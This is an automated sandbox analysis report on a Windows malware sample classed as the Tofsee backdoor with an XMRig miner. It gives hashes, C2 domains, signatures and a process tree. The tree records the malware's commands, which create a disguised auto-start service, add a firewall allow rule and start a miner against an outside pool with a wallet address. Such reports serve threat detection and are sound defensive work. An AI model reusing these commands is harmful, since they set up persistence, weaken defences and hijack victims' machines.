Analysis

  • max time kernel
    147s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    09-10-2023 10:27

General

  • Target

    file.exe

  • Size

    275KB

  • MD5

    51f78e75d410a09cb48d84209893135a

  • SHA1

    c25fba0d633bc073346bf733945b6d73053e63b0

  • SHA256

    6851e67bab60351b5fbfc00d8e4d5c454eb3a6bdd0cdf66cd324aa2828753c23

  • SHA512

    9b16e8a4df77b28374d60a16d3acb5a811248119901e04524e646d95fae12a853494d77915544bd49c09df22a5ec9713a5cc776c4982ed25bfeae3701e0e9da5

  • SSDEEP

    3072:CP1pDwPaFmYBQDzn2k+9a/WqnJGOg0Xhxz4l8QU:Q1qPnYBQPnv/WubFxK8Q

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2124
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\uyenrmth\
      2⤵
        PID:2948
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\zttloyco.exe" C:\Windows\SysWOW64\uyenrmth\
        2⤵
          PID:2736
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create uyenrmth binPath= "C:\Windows\SysWOW64\uyenrmth\zttloyco.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2644
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description uyenrmth "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2756
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start uyenrmth
          2⤵
          • Launches sc.exe
          PID:2856
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2256
      • C:\Windows\SysWOW64\uyenrmth\zttloyco.exe
        C:\Windows\SysWOW64\uyenrmth\zttloyco.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2660
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2480
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2144

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\zttloyco.exe

        Filesize

        12.9MB

        MD5

        ad67373ea6141156b17d04b379e76d38

        SHA1

        8db4e1b329a5a6abb9fbff56aaacbffab2562cd4

        SHA256

        621eb40a0d1c694d6e5765da9336c8081838a91fe3bf65930e605ea5091452ef

        SHA512

        9ed7baf3abe099b0c5e818b12e81744a460520bbd51052b3f5146a84df2338e3a7af7efdcbbd5e03e089885847b815659c7f677e0d92a476a863be87ab907c8b

      • C:\Windows\SysWOW64\uyenrmth\zttloyco.exe

        Filesize

        12.9MB

        MD5

        ad67373ea6141156b17d04b379e76d38

        SHA1

        8db4e1b329a5a6abb9fbff56aaacbffab2562cd4

        SHA256

        621eb40a0d1c694d6e5765da9336c8081838a91fe3bf65930e605ea5091452ef

        SHA512

        9ed7baf3abe099b0c5e818b12e81744a460520bbd51052b3f5146a84df2338e3a7af7efdcbbd5e03e089885847b815659c7f677e0d92a476a863be87ab907c8b

      • memory/2124-1-0x00000000023C0000-0x00000000024C0000-memory.dmp

        Filesize

        1024KB

      • memory/2124-3-0x0000000000400000-0x000000000228B000-memory.dmp

        Filesize

        30.5MB

      • memory/2124-4-0x0000000000220000-0x0000000000233000-memory.dmp

        Filesize

        76KB

      • memory/2124-7-0x0000000000400000-0x000000000228B000-memory.dmp

        Filesize

        30.5MB

      • memory/2144-77-0x0000000000270000-0x0000000000361000-memory.dmp

        Filesize

        964KB

      • memory/2144-76-0x0000000000270000-0x0000000000361000-memory.dmp

        Filesize

        964KB

      • memory/2144-75-0x0000000000270000-0x0000000000361000-memory.dmp

        Filesize

        964KB

      • memory/2144-74-0x0000000000270000-0x0000000000361000-memory.dmp

        Filesize

        964KB

      • memory/2144-73-0x0000000000270000-0x0000000000361000-memory.dmp

        Filesize

        964KB

      • memory/2144-72-0x0000000000270000-0x0000000000361000-memory.dmp

        Filesize

        964KB

      • memory/2144-71-0x0000000000270000-0x0000000000361000-memory.dmp

        Filesize

        964KB

      • memory/2144-62-0x0000000000270000-0x0000000000361000-memory.dmp

        Filesize

        964KB

      • memory/2144-61-0x0000000000270000-0x0000000000361000-memory.dmp

        Filesize

        964KB

      • memory/2480-38-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2480-46-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2480-29-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2480-32-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2480-33-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2480-34-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2480-35-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2480-36-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2480-37-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2480-25-0x0000000001970000-0x0000000001B7F000-memory.dmp

        Filesize

        2.1MB

      • memory/2480-39-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2480-40-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2480-41-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2480-42-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2480-43-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2480-44-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2480-45-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2480-26-0x0000000000110000-0x0000000000116000-memory.dmp

        Filesize

        24KB

      • memory/2480-47-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2480-48-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2480-49-0x0000000000230000-0x0000000000235000-memory.dmp

        Filesize

        20KB

      • memory/2480-52-0x0000000000230000-0x0000000000235000-memory.dmp

        Filesize

        20KB

      • memory/2480-53-0x0000000005470000-0x000000000587B000-memory.dmp

        Filesize

        4.0MB

      • memory/2480-56-0x0000000005470000-0x000000000587B000-memory.dmp

        Filesize

        4.0MB

      • memory/2480-57-0x0000000000240000-0x0000000000247000-memory.dmp

        Filesize

        28KB

      • memory/2480-22-0x0000000001970000-0x0000000001B7F000-memory.dmp

        Filesize

        2.1MB

      • memory/2480-20-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2480-65-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2480-11-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2480-19-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2480-14-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2480-12-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/2660-15-0x0000000000400000-0x000000000228B000-memory.dmp

        Filesize

        30.5MB

      • memory/2660-10-0x0000000000400000-0x000000000228B000-memory.dmp

        Filesize

        30.5MB

      • memory/2660-9-0x00000000026F0000-0x00000000027F0000-memory.dmp

        Filesize

        1024KB